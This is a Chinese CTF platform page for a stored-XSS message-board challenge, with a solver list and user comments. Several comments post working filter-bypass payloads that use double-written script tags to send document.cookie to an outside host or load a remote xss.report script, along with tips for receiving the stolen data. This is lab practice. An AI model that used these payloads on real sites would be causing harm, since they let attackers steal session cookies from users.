留言板1WEB 未解决
分数:
20
金币:
3
题目作者:
harry
一 血:
18256197318
一血奖励:
5金币
解 决:
263
提 示:
需要xss平台接收flag
描 述:
flag{}
评分(4)
解题动态
kingx3 攻破了该题 6天前
一江明月送归舟 攻破了该题 8天前
香克斯呀 攻破了该题 11天前
itsjimo 攻破了该题 14天前
小懒 攻破了该题 16天前
Alter 攻破了该题 18天前
KN11 攻破了该题 19天前
月落寒潭无影 攻破了该题 22天前
小楼一夜听春雨 攻破了该题 23天前
世界你好 攻破了该题 25天前
1柒1 攻破了该题 25天前
能工智人 攻破了该题 25天前
17199913044 攻破了该题 27天前
lzq2000 攻破了该题 27天前
fjakjasdhfa 攻破了该题 28天前
6ufui 攻破了该题 29天前
小白修炼日常 攻破了该题 1月前
星宇Sec 攻破了该题 1月前
这个昵称已存在 攻破了该题 1月前
评论
这个昵称已存在 1月前
举报
亲测，我自己在公网搭了个HTTP服务，可以正常过，但并不是必须的，这题的关键是第一次提交的js代码一定要是正确的，因为这个靶场是模拟访问，只会访问一次提交的内容，后续哪怕再提交都没用，只能重置。我第一次测试的时候提交了错误的js代码，后续再提交正确js代码也无法收到flag，所以做这题最好第一次就提交正确的js代码。
灵梦归希 2月前
举报
注意，这个不能采用XSS平台。因为只是请求url地址而已。但是不会执行js的脚本。几乎xss平台，是会访问js脚本，并执行才会上报的。所以XSS平台收不到是正常的。
灵梦归希 2月前
举报
不用怀疑，这道题目就是有问题的。它是模拟后台发送。并且只发第一条（大概率）。所以第一次收到了，但是不是正式请求（带flag），恭喜你，要删场景重来。警告，这道题就是有问题，前面的错误会影响后面的留言，所以就是个坑
Vluae 3月前
举报
我是phpstudy+Cpolar实现XSS。
我的刀盾 3月前
举报
弄了个ngrok，收不到，http不行说是(~-_-)~
暗流安全 5月前
举报
说点什么吧[img]<scsCRiPtript>location.href="http:/xxxx:8888/?flag_cookie="+document.cookie</scsCRiPtript>[/img] 然后可以用公网运行python3 -m http.server 8888 记得点一下那个图片才会有发送
小白RM 6月前
举报
三战，最后直接在当前页面执行了 location.href 跳转，并且用双写绕过关键词过滤 使用自建平台<scscriptript>location.href="http://www.iytzx.com/****/?cookie="+document.cookie</scscriptript>成功接收到flag
kr2yh 7月前
举报
<scriscriptpt/src=https://xss.report/c/kr2yh></scriscriptpt> 双写加/代替空格 就可以
十里故清云 8月前
举报
在线蹲大手子,只能靠自建vps公网ip收吗?? 现在还有xss平台能收吗(我已急哭)
qq1002517 8月前
举报
flag{**********}